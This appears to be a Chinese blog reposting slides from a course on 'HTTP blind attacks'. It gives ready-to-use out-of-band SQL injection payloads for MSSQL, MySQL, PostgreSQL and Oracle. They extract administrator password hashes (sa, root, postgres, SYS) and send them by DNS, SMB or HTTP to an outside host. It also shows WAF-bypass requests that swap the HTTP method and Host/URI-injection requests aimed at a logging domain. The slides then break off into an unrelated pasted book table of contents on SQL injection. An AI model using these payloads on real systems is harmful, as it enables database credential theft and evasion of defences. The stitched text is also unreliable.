http盲攻击,hacker攻击入门,白帽反思,黑帽思想,运维忙成狗

攻方:

传统漏洞越来越难挖

大型企业暴露的漏洞越来越少

对于目标站点没有任何思路

守方:

我有WAF还是被黑了

我不对公网开放还是被搞了

我天天内部整改漏洞还是被通报漏洞

1. HTTP 盲攻击是什么

2. 为什么需要HTTP 盲攻击

3. HTTP 盲攻击可能发生的场景

4. HTTP盲攻击的总体利用思路与检测实现思路HTTP 盲攻击是什么Blind Attack , Blind Inject Everything

Blind SqlInject (Normal pass)

Blind BypassWafNormaleasylet’s try

Blind Redirect(abnormal, luck is very important)

Blind CommandInject (how to injectjust don't care)

Blind PostParam (give you more, you accept it)

Blind SSRF bind local interface and no valid response

Blind Xss Injection (automatic submit,can not related to request)

Blind LDAP Injection (maybe you are using ldap)

Blind xxereverse connect you and get xml parse

Blind everything everywhere ==> fuzzing...HTTP 盲攻击是什么Blind Attack , Blind Inject Everything

HTTP盲攻击,凡是不直接使用传统的HTTP RequestHTTP Response中的已有数据进行的漏

洞挖掘与分析的攻击方式,都可以称为HTTP 盲攻击。

该攻击适用于一切难以发现传统意义漏洞的系统,也可用于对目标没有任何了解却希望快速

发现高危漏洞,同时不必关心直接目标到底存不存在漏洞的一种攻击方式。

在特定情况下可以配合利用OOB方法为基础突破口可进行检测和利用漏洞的攻击方式。

课程目标:本次课程将会介绍哪些场景可以进行HTTP Blind Attack,并尽量进行初步的分类,

来说明一些复杂网络环境下可能存在的安全漏洞。0x02 为什么需要Blind Attack

1. 传统攻击方式已经没有漏洞可挖

2. 复杂网络环境下的分析系统和监控系统存在安全漏洞无法有效发现0x02 Blind Attack Startup 1. Blind SqlInject (Nothing to say)

2. Blind Web Application Firewall bypass 绕过防护系统(变更HTTP请求方法)

3. Blind Redirect Analysis System 诱骗分析/缓存系统(变更HTTP请求URI

4. Blind CommandInject【检测】不如都来带外数据通道(OOB

5. Blind Outer to Internal System由外到内

6. 【检测】手工太麻烦使用自动插件(OOB

7. Blind PostParam 调用隐藏方法(增加或变更HTTP请求参数)

8. 寻找根源(大数据寻找源IP/新域名)1. 数据获取(经典的SQL注入利用)

问题: 目标存在注入,无法回显数据

解决:利用DNSHTTP请求获取数据

目标:在无法回显的情况下获取有价值的数据信息

防护: 限制非法的外联,包括DNS的解析Blind SqlInject Retrieve Data (OOB) MSSQL

DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa') +'.s.livesina.com'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

MYSQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT

1),'.s.livesina.com\\abc'));

PostgreSQL:

DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION

temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT

INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY

table_output(content) FROM E\'\\\\\\\\'||query_result||E'.s.livesina.com\\\\foobar.txt\''; EXECUTE exec_cmd; END;

$$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();Blind SqlInject Retrieve Data (OOB) Oracle:

Example1:

SELECT UTL_INADDR.GET_HOST_ADDRESS('test.y.s.livesina.com');

Example2:

SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL; Example3:

SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL; Example4:

SELECT HTTPURITYPE('http://test.y.livesina.com/test').GETCLOB() FROM DUAL;

Example5:

SELECT DBMS_LDAP.INIT(('test.s.livesina.com',80) FROM DUAL;

Example6:

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE

name='SYS')||'.s.livesina.com',80) FROM DUAL;2. 绕过防护系统(变更HTTP请求方式)

问题: 目标存在WAF,无法SQL注入,无法命令注入

解决:变更HTTP请求方法,WAF只处理GETPOST规则,其他自动放行。

代理服务器存在方法默认映射,不认识的方法映射为GET

目标:完成SQL注入、命令执行等

防护:更新WAF机制Blind Web Application Firewall bypass 1

GET /test?id=123 HTTP/1.1 LOL /test?id=123 HTTP/1.1 (当然可以尝试其他字符串)

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Web Application Firewall bypass 1 Blind Web Application Firewall bypass 2

POST /test HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

c=d Blind Web Application Firewall bypass 2 POST /test.php HTTP/1.1

Host: target.com

Content-Length: 297

Pragma: no-cache

Cache-Control: no-cache

Content-Type: multipart/form-data; boundary=--------1004104974

Cookie: a=b

Connection: close

----------1004104974

Content-Disposition: form-data; name="file"; filename=""

Content-Type: application/octet-stream

----------1004104974

Content-Disposition: form-data; name="c"

d

----------1004104974

Content-Disposition: form-data; name="submit"

Submit

----------1004104974--Blind Web Application Firewall bypass

脚本检测方式:

1>变更请求方式,对比返回差异

*2>发送Payload触发Waf拦截,对比变更请求方法前后的差异

判据:

1> 返回内容不属于黑名单内容

2> 返回内容在变更方法前后保持一致

黑名单:

设置返回黑名单,如403405或特征字符串3. 诱骗分析/缓存系统(变更HTTP请求URI

问题: 没有思路

解决:变更HTTP请求URI,目标处理产生异常,分析异常找到攻击思路

目标:触发异常,分析攻击思路Blind Redirect Analysis System 1 Change URI 1

GET /test HTTP/1.1 GET test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Analysis System 1 Change URI 2

GET /test HTTP/1.1 GET @test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Analysis System 1Change URI 2

GET /test HTTP/1.1 GET http://test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Analysis System 1 得到的请求 Why this request

不合理的URL拼接

发生后我们才知道的漏洞Blind Redirect Caching System 2

Normal Request

GET /test HTTP/1.1

Host: sina.cn sina.cn@test.randkey.yourloggingdomain.com

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Caching System 2

Normal Request

HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

作 者:(美)克拉克 著,黄晓磊,李化 译 SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码中SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 目录: 第1章 什么是SQL注入  1.1 概述  1.2 理解Web应用的工作原理   1.2.1 一种简单的应用架构   1.2.2 一种较复杂的架构  1.3 理解SQL注入  1.4 理解SQL注入的产生过程   1.4.1 构造动态字符串   1.4.2 不安全的数据库配置  1.5 本章小结  1.6 快速解决方案  1.7 常见问题解答 第2章 SQL注入测试  2.1 概述  2.2 寻找SQL注入   2.2.1 借助推理进行测试   2.2.2 数据库错误   2.2.3 应用响应   2.2.4 SQL注  2.3 确认SQL注入   2.3.1 区分数字和字符串   2.3.2 内联SQL注入   2.3.3 终止式SQL注入   2.3.4 时间延迟  2.4 自动寻找SQL注入  2.5 本章小结  2.6 快速解决方案  2.7 常见问题解答 第3章 复查代码中的SQL注入  3.1 概述  3.2 复查源代码中的SQL注入   3.2.1 危险的编码行为   3.2.2 危险的函数   3.2.3 跟踪数据   3.2.4 复查PL/SQL和T-SQL代码  3.3 自动复查源代码第1章 什么是SQL注入   3.3.1 YASCA   3.3.2 Pixy   3.3.3 AppCodeScan   3.3.4 LAPSE   3.3.5 SWAAT   3.3.6 Microsoft SQL注入源代码分析器   3.3.7 CAT.NET   3.3.8 商业源代码复查工具   3.3.9 Ounce   3.3.10 Fortify源代码分析器   3.3.11 CodeSecure  3.4 本章小结  3.5 快速解决方案  3.6 常见问题解答 第4章 利用SQL注入  4.1 概述  4.2 理解常见的利用技术  4.3 识别数据库   4.3.1 非跟踪   4.3.2 跟踪  4.4 使用UINON语句提取数据   4.4.1 匹配列   4.4.2 匹配数据类型  4.5 使用条件语句   4.5.1 方法1:基于时间   4.5.2 方法2:基于错误   4.5.3 方法3:基于内容   4.5.4 处理字符串   4.5.5 扩展攻击   4.5.6 利用SQL注入错误   4.5.7 Oracle中的错误消息  4.6 枚举数据库模式   4.6.1 SQL Server   4.6.2 MySQL   4.6.3 Oracle  4.7 提升权限   4.7.1 SQL Server   4.7.2 Oracle  4.8 窃取哈希口令   4.8.1 SQL Server   4.8.2 MySQL   4.8.3 Oracle  4.9 带外通信   4.9.1 E-mail   4.9.2 HTTP/DNS   4.9.3 文件系统  4.10 自动利用SQL注入   4.10.1 Sqlmap   4.10.2 Bobcat   4.10.3 BSQL   4.10.4 其他工具  4.11 本章小结  4.12 快速解决方案  4.13 常见问题解答 第5章 SQL注利用  5.1 概述  5.2 寻找并确认SQL注   5.2.1 强制产生通用错误   5.2.2 注入带副作用的查询   5.2.3 拆分与平衡   5.2.4 常见的SQL注场景   5.2.5 SQL注技术  5.3 使用基于时间的技术   5.3.1 延迟数据库查询   5.3.2 基于时间推断的考虑  5.4 使用基于响应的技术   5.4.1 MySQL响应技术   5.4.2 SQL Server响应技术   5.4.3 Oracle响应技术   5.4.4 返回多位信息  5.5 使用非主流通道   5.5.1 数据库连接   5.5.2 DNS渗漏   5.5.3 E-mail渗漏   5.5.4 HTTP渗漏  5.6 自动SQL注利用   5.6.1 Absinthe   5.6.2 BSQL Hacker   5.6.3 SQLBrute   5.6.4 Sqlninja   5.6.5 Squeeza  5.7 本章小结  5.8 快速解决方案  5.9 常见问题解答 第6章 利用操作系统  6.1 概述  6.2 访问文件系统   6.2.1 读文件   6.2.2 写文件  6.3 执行操作系统命令  6.4 巩固访问  6.5 本章小结  6.6 快速解决方案  6.7 常见问题解答  6.8 尾注 第7章 高级话题  7.1 概述  7.2 避开输入过滤器   7.2.1 使用大小写变种   7.2.2 使用SQL注释   7.2.3 使用URL编码   7.2.4 使用动态的查询执行   7.2.5 使用空字节   7.2.6 嵌套剥离后的表达式   7.2.7 利用截断   7.2.8 避开自定义过滤器   7.2.9 使用非标准入口点  7.3 利用二阶SQL注入  7.4 使用混合攻击   7.4.1 修改捕获的数据   7.4.2 创建跨站脚本   7.4.3 在Oracle上运行操作系统命令   7.4.4 利用验证过的漏洞  7.5 本章小结  7.6 快速解决方案  7.7 常见问题解答 第8章 代码层防御  8.1 概述  8.2 使用参数化语句   8.2.1 Java中的参数化语句   8.2.2 .NET(C#)中的参数化语句   8.2.3 PHP中的参数化语句   8.2.4 PL/SQL中的参数化语句  8.3 输入验证   8.3.1 白名单   8.3.2 黑名单   8.3.3 Java中的输入验证   8.3.4 .NET中的输入验证   8.3.5 PHP中的输入验证  8.4 编码输出  8.5 规范化  8.6 通过设计来避免SQL注入的危险   8.6.1 使用存储过程   8.6.2 使用抽象层   8.6.3 处理敏感数据   8.6.4 避免明显的对象名   8.6.5 创建数据库Honeypot   8.6.6 附加的安全开发资源  8.7 本章小结  8.8 快速解决方案  8.9 常见问题解答 第9章 平台层防御  9.1 概述  9.2 使用运行时保护   9.2.1 Web应用防火墙   9.2.2 截断过滤器   9.2.3 不可编辑的输入保护与可编辑的输入保护   9.2.4 URL策略/页面层策略   9.2.5 面向方面编程   9.2.6 应用入侵检测系统   9.2.7 数据库防火墙  9.3 确保数据库安全   9.3.1 锁定应用数据   9.3.2 锁定数据库服务器  9.4 额外的部署考虑   9.4.1 最小化不必要信息的泄露   9.4.2 提高Web服务器日志的冗余   9.4.3 在独立主机上部署Web服务器和数据库服务器   9.4.4 配置网络访问控制  9.5 本章小结  9.6 快速解决方案  9.7 常见问题解答 第10章 参考资料  10.1 概述  10.2 SQL入门  10.3 SQL注入快速参考   10.3.1 识别数据库平台   10.3.2 Microsoft SQL Server备忘单   10.3.3 MySQL备忘单   10.3.4 Oracle备忘单
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值